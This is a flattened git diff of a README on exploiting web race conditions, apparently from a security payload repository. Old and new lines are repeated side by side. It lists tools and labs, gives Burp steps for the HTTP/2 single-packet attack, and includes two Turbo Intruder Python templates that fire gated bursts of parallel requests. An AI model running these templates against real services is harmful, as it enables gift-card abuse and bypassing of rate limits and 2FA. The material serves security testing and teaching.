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fix:Typo_Race-Condition

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Race Condition/README.md
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# Race Condition # Race Condition
> Race conditions may occur when a process is critically or unexpectedly dependent on the sequence or timings of other events. In a web application environment, where multiple requests can be processed at a given time, developers may leave concurrency to be handled by the framework, server, or programming language. > Race conditions may occur when a process is critically or unexpectedly dependent on the sequence or timings of other events. In a web application environment, where multiple requests can be processed at a given time, developers may leave concurrency to be handled by the framework, server, or programming language.
## Summary ## Summary
- [Tools](#tools) - [Tools](#tools)
- [Labs](#labs) - [Labs](#labs)
- [Exploit](#exploit) - [Exploit](#exploit)
- [Limit-overrun](#limit-overrun) - [Limit-overrun](#limit-overrun)
- [Rate-limit bypass](#rate-limit-bypass) - [Rate-limit bypass](#rate-limit-bypass)
- [Techniques](#techniques) - [Techniques](#techniques)
- [HTTP/1.1 last-byte synchronization](#http11-last-byte-synchronization) - [HTTP/1.1 last-byte synchronization](#http11-last-byte-synchronization)
- [HTTP/2 Single-packet attack](#http2-single-packet-attack) - [HTTP/2 Single-packet attack](#http2-single-packet-attack)
- [Turbo Intruder](#turbo-intruder) - [Turbo Intruder](#turbo-intruder)
- [Example 1](#example-1) - [Example 1](#example-1)
- [Example 2](#example-2) - [Example 2](#example-2)
- [References](#references) - [References](#references)
## Tools ## Tools
* [PortSwigger/turbo-intruder](https://github.com/PortSwigger/turbo-intruder) - a Burp Suite extension for sending large numbers of HTTP requests and analyzing the results. - [PortSwigger/turbo-intruder](https://github.com/PortSwigger/turbo-intruder) - a Burp Suite extension for sending large numbers of HTTP requests and analyzing the results.
* [JavanXD/Raceocat](https://github.com/JavanXD/Raceocat) - Make exploiting race conditions in web applications highly efficient and ease-of-use. - [JavanXD/Raceocat](https://github.com/JavanXD/Raceocat) - Make exploiting race conditions in web applications highly efficient and ease-of-use.
* [nxenon/h2spacex](https://github.com/nxenon/h2spacex) - HTTP/2 Single Packet Attack low Level Library / Tool based on Scapy‌ + Exploit Timing Attacks - [nxenon/h2spacex](https://github.com/nxenon/h2spacex) - HTTP/2 Single Packet Attack low Level Library / Tool based on Scapy‌ + Exploit Timing Attacks
## Labs ## Labs
* [PortSwigger - Limit overrun race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun) - [PortSwigger - Limit overrun race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun)
* [PortSwigger - Multi-endpoint race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-multi-endpoint) - [PortSwigger - Multi-endpoint race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-multi-endpoint)
* [PortSwigger - Bypassing rate limits via race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-bypassing-rate-limits) - [PortSwigger - Bypassing rate limits via race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-bypassing-rate-limits)
* [PortSwigger - Multi-endpoint race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-multi-endpoint) - [PortSwigger - Multi-endpoint race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-multi-endpoint)
* [PortSwigger - Single-endpoint race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) - [PortSwigger - Single-endpoint race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint)
* [PortSwigger - Exploiting time-sensitive vulnerabilities](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) - [PortSwigger - Exploiting time-sensitive vulnerabilities](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities)
* [PortSwigger - Partial construction race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) - [PortSwigger - Partial construction race conditions](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction)
## Exploit ## Exploit
### Limit-overrun ### Limit-overrun
Overdrawing limit, multiple voting, multiple spending of a gifcard. Overdrawing limit, multiple voting, multiple spending of a giftcard.
**Examples**: **Examples**:
* [Race Condition allows to redeem multiple times gift cards which leads to free "money" - @muon4](https://hackerone.com/reports/759247) - [Race Condition allows to redeem multiple times gift cards which leads to free "money" - @muon4](https://hackerone.com/reports/759247)
* [Race conditions can be used to bypass invitation limit - @franjkovic](https://hackerone.com/reports/115007) - [Race conditions can be used to bypass invitation limit - @franjkovic](https://hackerone.com/reports/115007)
* [Register multiple users using one invitation - @franjkovic](https://hackerone.com/reports/148609) - [Register multiple users using one invitation - @franjkovic](https://hackerone.com/reports/148609)
### Rate-limit bypass ### Rate-limit bypass
@ -55,8 +51,7 @@ Bypassing anti-bruteforce mechanism and 2FA.
**Examples**: **Examples**:
* [Instagram Password Reset Mechanism Race Condition - Laxman Muthiyah](https://youtu.be/4O9FjTMlHUM) - [Instagram Password Reset Mechanism Race Condition - Laxman Muthiyah](https://youtu.be/4O9FjTMlHUM)
## Techniques ## Techniques
@ -74,24 +69,22 @@ engine.openGate('race1')
**Examples**: **Examples**:
* [Cracking reCAPTCHA, Turbo Intruder style - James Kettle](https://portswigger.net/research/cracking-recaptcha-turbo-intruder-style) - [Cracking reCAPTCHA, Turbo Intruder style - James Kettle](https://portswigger.net/research/cracking-recaptcha-turbo-intruder-style)
### HTTP/2 Single-packet attack ### HTTP/2 Single-packet attack
In HTTP/2 you can send multiple HTTP requests concurrently over a single connection. In the single-packet attack around ~20/30 requests will be sent and they will arrive at the same time on the server. Using a single request remove the network jitter. In HTTP/2 you can send multiple HTTP requests concurrently over a single connection. In the single-packet attack around ~20/30 requests will be sent and they will arrive at the same time on the server. Using a single request remove the network jitter.
* [turbo-intruder/race-single-packet-attack.py](https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/race-single-packet-attack.py) - [turbo-intruder/race-single-packet-attack.py](https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/race-single-packet-attack.py)
* Burp Suite - Burp Suite
* Send a request to Repeater - Send a request to Repeater
* Duplicate the request 20 times (CTRL+R) - Duplicate the request 20 times (CTRL+R)
* Create a new group and add all the requests - Create a new group and add all the requests
* Send group in parallel (single-packet attack) - Send group in parallel (single-packet attack)
**Examples**: **Examples**:
* [CVE-2022-4037 - Discovering a race condition vulnerability in Gitlab with the single-packet attack - James Kettle](https://youtu.be/Y0NVIVucQNE) - [CVE-2022-4037 - Discovering a race condition vulnerability in Gitlab with the single-packet attack - James Kettle](https://youtu.be/Y0NVIVucQNE)
## Turbo Intruder ## Turbo Intruder
@ -99,50 +92,51 @@ In HTTP/2 you can send multiple HTTP requests concurrently over a single connect
1. Send request to turbo intruder 1. Send request to turbo intruder
2. Use this python code as a payload of the turbo intruder 2. Use this python code as a payload of the turbo intruder
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False
)
for i in range(30): ```python
engine.queue(target.req, i) def queueRequests(target, wordlists):
engine.queue(target.req, target.baseInput, gate='race1') engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=30,
pipeline=False
)
for i in range(30):
engine.queue(target.req, i)
engine.queue(target.req, target.baseInput, gate='race1')
engine.start(timeout=5) engine.start(timeout=5)
engine.openGate('race1') engine.openGate('race1')
engine.complete(timeout=60) engine.complete(timeout=60)
def handleResponse(req, interesting): def handleResponse(req, interesting):
table.add(req) table.add(req)
``` ```
3. Now set the external HTTP header x-request: %s - :warning: This is needed by the turbo intruder 3. Now set the external HTTP header x-request: %s - :warning: This is needed by the turbo intruder
4. Click "Attack" 4. Click "Attack"
### Example 2 ### Example 2
This following template can use when use have to send race condition of request2 immediately after send a request1 when the window may only be a few milliseconds. This following template can use when use have to send race condition of request2 immediately after send a request1 when the window may only be a few milliseconds.
```python ```python
def queueRequests(target, wordlists): def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30, concurrentConnections=30,
requestsPerConnection=100, requestsPerConnection=100,
pipeline=False pipeline=False
) )
request1 = ''' request1 = '''
POST /target-URI-1 HTTP/1.1 POST /target-URI-1 HTTP/1.1
Host: <REDACTED> Host: <REDACTED>
Cookie: session=<REDACTED> Cookie: session=<REDACTED>
parameterName=parameterValue parameterName=parameterValue
''' '''
request2 = ''' request2 = '''
GET /target-URI-2 HTTP/1.1 GET /target-URI-2 HTTP/1.1
@ -151,21 +145,21 @@ Cookie: session=<REDACTED>
''' '''
engine.queue(request1, gate='race1') engine.queue(request1, gate='race1')
for i in range(30): for i in range(30):
engine.queue(request2, gate='race1') engine.queue(request2, gate='race1')
engine.openGate('race1') engine.openGate('race1')
engine.complete(timeout=60) engine.complete(timeout=60)
def handleResponse(req, interesting): def handleResponse(req, interesting):
table.add(req) table.add(req)
``` ```
## References ## References
* [DEF CON 31 - Smashing the State Machine the True Potential of Web Race Conditions - James Kettle](https://youtu.be/tKJzsaB1ZvI) - [DEF CON 31 - Smashing the State Machine the True Potential of Web Race Conditions - James Kettle](https://youtu.be/tKJzsaB1ZvI)
* [Smashing the state machine: the true potential of web race conditions - James Kettle / @albinowax - 09 August 2023](https://portswigger.net/research/smashing-the-state-machine) - [Smashing the state machine: the true potential of web race conditions - James Kettle / @albinowax - 09 August 2023](https://portswigger.net/research/smashing-the-state-machine)
* [Turbo Intruder: Embracing the billion-request attack - James Kettle - 25 January 2019](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack) - [Turbo Intruder: Embracing the billion-request attack - James Kettle - 25 January 2019](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack)
* [Race Condition Bug In Web App: A Use Case - Mandeep Jadon - Apr 24, 2018](https://medium.com/@ciph3r7r0ll/race-condition-bug-in-web-app-a-use-case-21fd4df71f0e) - [Race Condition Bug In Web App: A Use Case - Mandeep Jadon - Apr 24, 2018](https://medium.com/@ciph3r7r0ll/race-condition-bug-in-web-app-a-use-case-21fd4df71f0e)
* [Race conditions on the web - Josip Franjkovic - July 12th, 2016](https://www.josipfranjkovic.com/blog/race-conditions-on-web) - [Race conditions on the web - Josip Franjkovic - July 12th, 2016](https://www.josipfranjkovic.com/blog/race-conditions-on-web)
* [New techniques and tools for web race conditions - Emma Stocks - 10 August 2023](https://portswigger.net/blog/new-techniques-and-tools-for-web-race-conditions) - [New techniques and tools for web race conditions - Emma Stocks - 10 August 2023](https://portswigger.net/blog/new-techniques-and-tools-for-web-race-conditions)
* [Exploiting Race Condition Vulnerabilities in Web Applications - Javan Rasokat](https://conference.hitb.org/hitbsecconf2022sin/materials/D2%20COMMSEC%20-%20Exploiting%20Race%20Condition%20Vulnerabilities%20in%20Web%20Applications%20-%20Javan%20Rasokat.pdf) - [Exploiting Race Condition Vulnerabilities in Web Applications - Javan Rasokat](https://conference.hitb.org/hitbsecconf2022sin/materials/D2%20COMMSEC%20-%20Exploiting%20Race%20Condition%20Vulnerabilities%20in%20Web%20Applications%20-%20Javan%20Rasokat.pdf)
* [Beyond the Limit: Expanding single-packet race condition with a first sequence sync for breaking the 65,535 byte limit- @ryotkak - August 2, 2024 ](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) - [Beyond the Limit: Expanding single-packet race condition with a first sequence sync for breaking the 65,535 byte limit- @ryotkak - August 2, 2024 ](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/)